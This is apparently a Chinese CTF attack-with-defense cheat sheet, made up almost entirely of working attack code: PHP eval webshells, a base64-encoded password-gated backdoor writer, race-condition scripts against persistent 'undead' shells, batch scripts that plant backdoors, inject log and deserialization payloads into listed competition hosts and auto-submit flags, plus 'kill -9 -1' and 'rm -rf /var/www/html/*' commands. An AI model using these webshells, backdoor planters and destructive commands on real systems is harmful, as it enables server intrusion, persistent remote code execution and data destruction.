rm -rf .config.php | mkdir .config.php
手动删除
shell.php: <?php @eval($_GET['9415']); ?>
url访问:shell.php?9415=system('kill -9 -1');
脚本竞争覆盖原有文件的内容:
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '/app/data/upload/202404/.config.php';
$code = 'flag{You shall die!}';
while (1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" /app/data/upload/202404/.config.php');
usleep(10);
}
?>
一把梭防御:
#!/bin/sh
ps -aux
echo "杀进程..."
webapp="/var/www/html" # 自定义的 webapp 路径
php_code1="<?php
while (1) {
system(\"kill \`ps -ef | grep apache2 | grep -v grep | awk '{print \$2}'\`\");
usleep(500);
}
?>"
# 创建 PHP 文件
echo "$php_code1" > "$webapp/kill_apache.php"
# 访问 PHP 文件
curl "http://localhost/kill_apache.php"
# 同名覆盖
evil="/var/www/html/.config.php" # 不死马路径
rm -rf $evil | mkdir $evil
# 条件竞争
php_code2="<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
\$file = '$evil';
\$code = 'flag{You shall die!}';
while (1){
file_put_contents(\$file,\$code);
system('touch -m -d \"2018-12-01 09:10:12\" $evil');
usleep(10);
}
?>"
echo "$php_code2" > "$webapp/killshell.php"
curl "http://localhost/killshell.php"
拿shell了交个flag先
预留后门模块
#预置后门利用模块
import requests
def backdoor_writeshell(ip, route, secret):
# <?php echo "result:";if(md5($_GET["pass"])=="edee85b6d1da959d5fa73ce6ebde9c72"){@eval($_POST[a]);} ?>
base64_data_1 = "PD9waHAgZWNobyAicmVzdWx0OiI7aWYobWQ1KCRfR0VUWyJwYXNzIl0pPT0iZWRlZTg1YjZkMWRhOTU5ZDVmYTczY2U2ZWJkZTljNzIiKXtAZXZhbCgkX1BPU1RbYV0pO30gPz4="
targetUrl = "http://" + ip + route
payload = 'file_put_contents("/var/www/html/include/.write.php",base64_decode("' + base64_data_1 + '"));'
data = {secret: payload}
try:
shellurl = f"http://{ip}/include/.write.php"
res = requests.post(targetUrl, data)
requests.get(shellurl, timeout=3)
if "result" in (requests.get(shellurl + "?pass=0w0").text):
print("[*] writeshell success --- Box: " + ip)
payload2 = {"a": "system('cat /flag.txt');"}
res2 = requests.post(shellurl + "?pass=0w0", payload2)
if "flag" in res2.text:
print("[*] getshell了,交个flag先 " + res2.text)
except:
print("[-] Failed! backdoor_writeshell Box: " + ip)
backdoor_writeshell("localhost:18894", "/include/shell.php", "admin_ccmd")
批量拿flag
#!/usr/bin/python
#coding=utf-8
import sys,requests,base64
def loadfile(filepath):
try :
file = open(filepath,"rb")
return str(file.read())
except :
print "File %s Not Found!" %filepath
sys.exit()
def file_write(filepath,filecontent):
file = open(filepath,"a")
file.write(filecontent)
file.close()
def getflag(url,method,passwd,flag_path):
#flag机的url
flag_url="192.168.45.1"
#print url
#判断shell是否存在
try :
res = requests.get(url,timeout=3)
except :
print "[-] %s ERR_CONNECTION_TIMED_OUT" %url
file_write(flag_path,"[-] %s ERR_CONNECTION_TIMED_OUT\n\n" %url)
return 0
if res.status_code!=200 :
print "[-] %s Page Not Found!" %url
file_write(flag_path,"[-] %s Page Not Found!\n\n" %url)
return 0
#执行命令来获取flag system,exec,passthru,`,shell_exec
#a=@eval(base64_decode($_GET[z0]));&z0=c3lzdGVtKCJ3aG9hbWkiKTs=
cmd = "curl "+flag_url
#cmd = "whoami"
getflag_cmd ="echo system(\"%s\");"%cmd
data={}
if method=='get':
data[passwd]='@eval(base64_decode($_GET[z0]));'
data['z0']=base64.b64encode(getflag_cmd)
try:
res = requests.get(url,params=data,timeout=3)
#print res.url
if res.content:
content = url+"\n"+res.content+"\n\n"
file_write(flag_path,content)
print "[+] %s getflag sucessed!"%url
else :
print "[-] %s cmd exec response is null!"%url
content = url+"\ncmd exec response is null!\n\n"
file_write(flag_path,content)
except :
file_write(flag_path,"\n[+] %s Getflag Failed! You can check the shell's passwd!\n\n"%url)
print "[+] %s Getflag Failed! You can check the shell's passwd!"%url
elif method=='post':
data['pass']='Sn3rtf4ck'
data[passwd]='@eval(base64_decode($_POST[z0]));'
data['z0']=base64.b64encode(getflag_cmd)
try:
res = requests.post(url,data=data,timeout=3)
if res.content:
content = url+"\n"+res.content+"\n\n"
file_write(flag_path,content)
print "[+] %s getflag sucessed!"%url
else :
print "[-] %s cmd exec response is null!"%url
content = url+"\ncmd exec response is null!\n\n"
file_write(flag_path,content)
except:
file_write(flag_path,"\n[+] %s Getflag Failed! You can check the shell's passwd!\n\n"%url)
print "[+] %s Getflag Failed! You can check the shell's passwd!"%url
if __name__ == '__main__':
#存放flag的文件
flag_path="./flag.txt"
shellstr=loadfile("./webshell.txt")
list = shellstr.split("\r\n")
#print str(list)
i = 0
url={}
passwd={}
method={}
for data in list:
if data:
ls = data.split(",")
method_tmp = str(ls[1])
method_tmp = method_tmp.lower()
if method_tmp=='post' or method_tmp=='get':
url[i]=str(ls[0])
method[i]=method_tmp
passwd[i]=str(ls[2])
i+=1
else :
print "[-] %s request method error!" %(str(ls[0]))
file_write(flag_path,"[-] %s request method error!\n\n" %(str(ls[0])))
else : pass
#print str(len(url))
for j in range(len(url)):
#调用执行命令的模块
#print str(j)
#print "url is %s method is %s passwd is %s" %(url[j],method[j],passwd[j])
getflag(url=url[j],method=method[j],passwd=passwd[j],flag_path=flag_path)
print "Getflag finished!"
批量交flag
import requests
import re
import json
import time
def shell_exp(url):
att_url = url + "/template/default/index/ind1x.php?s=system('cat /flag');"
try:
data = {"s": "system('cat /flag');"}
res = requests.get(att_url)
flag = re.findall('flag{.*}', res.text)[0]
print("[*]" + flag + " Box: " + url + " by shell_exp")
return flag
except:
print("[-]Failed! shell_exp Box: " + url)
return 0
def deadshell(url):
att_url = url + "/public/common/images/1.jpg.php?s=eval('file_put_contents(\\'/var/www/html/-2.php\\',base64_decode(\\'PD9waHAgZWNobyAicmVzdWx0OiI7aWYobWQ1KCRfR0VUWyJwYXNzIl0pPT0iYzRjYTQyMzhhMGI5MjM4MjBkY2M1MDlhNmY3NTg0OWIiKXtAZXZhbCgkX1BPU1RbYV0pO30gPz4=\\'));');"
requests.get(att_url)
try:
data = {"a": "system('cat /flag');"}
deadurl = url + "/-2.php?pass=1"
res = requests.post(url=deadurl, data=data)
flag = re.findall('result:flag{.*}', res.text)[0]
print("[*]" + flag + " Box: " + url + " by deadshell")
return flag
except:
print("[-]Failed! deadshell Box: " + url)
return 0
def log_exp(url):
writelog_url = url + "/index.php"
headers = {"User-Agent": '<?php @eval($_POST[111]);?>'}
try:
requests.get(writelog_url, headers=headers)
data = {"cmd": 'system("cat /f*");'}
att_url = url + "/log.php"
res = requests.post(att_url, data)
flag = re.findall('ISCTF{.*}', res.text)[0]
print("[*]" + flag + " Box: " + url)
return flag
except:
print("[-]Failed! log_exp Box: " + url)
return 0
def unserialize_exp(url):
att_url = url + "/common/home.php"
try:
data = {
"a":
"Tzo0OiJob21lIjoyOntzOjEyOiIAaG9tZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGhvbWUAYXJncyI7YToxOntpOjA7czoxNjoiMXxjYXQke0lGU30vZmxhZyI7fX0="
}
res = requests.post(att_url, data)
flag = re.findall('ISCTF{.*}', res.text)[0]
print("[*]" + flag + " Box: " + url)
return flag
except:
print("[-]Failed! unserialize_exp Box: " + url)
return 0
def submit_flag(flag):
submit_url = f"https://ctf.bugku.com/pvp/submit.html?token=3408e4efa1c92d11663a725c6bb060f8&flag={flag}"
# headers = {"Content-Type": "application/json",
# "Authorization": "45b89011c769b3887141d4abdcdc9207"
# }
data = {"flag": flag}
res = requests.get(url=submit_url)
if "正确" in res.text:
print("[*]" + "交个flag先")
else:
print("[-]" + "交过了")
url = [
'http://192-168-1-5.pvp4121.bugku.cn',
'http://192-168-1-6.pvp4121.bugku.cn',
'http://192-168-1-76.pvp4121.bugku.cn',
'http://192-168-1-27.pvp4121.bugku.cn',
'http://192-168-1-22.pvp4121.bugku.cn',
'http://192-168-1-18.pvp4121.bugku.cn',
'http://192-168-1-60.pvp4121.bugku.cn',
'http://192-168-1-248.pvp4121.bugku.cn',
'http://192-168-1-219.pvp4121.bugku.cn',
'http://192-168-1-239.pvp4121.bugku.cn',
'http://192-168-1-143.pvp4121.bugku.cn',
'http://192-168-1-77.pvp4121.bugku.cn',
'http://192-168-1-119.pvp4121.bugku.cn',
'http://192-168-1-136.pvp4121.bugku.cn'
] # 匹配攻击靶机ip
count = 1
while 1:
for i in url: # 攻击数量
attack_url = i
if isinstance(deadshell(attack_url), str):
submit_flag(deadshell(attack_url))
if isinstance(shell_exp(attack_url), str):
submit_flag(shell_exp(attack_url))
# elif isinstance(log_exp(attack_url), str):
# submit_flag(log_exp(attack_url))
# elif isinstance(unserialize_exp(attack_url), str):
# submit_flag(unserialize_exp(attack_url))
else:
continue
print("********************第 " + str(count) +
" 次flag提交结束**************************")
count += 1
time.sleep(420) # 攻击间隔
对靶机武装666号——删站(
如果自己的靶机是按被打次数掉分的,那么在被打烂又不会修的情况下,可以选择直接删库跑路,降低损失
rm -rf /var/www/html/*
rm -rf /opt/tomcat/webapps/
通防
开了?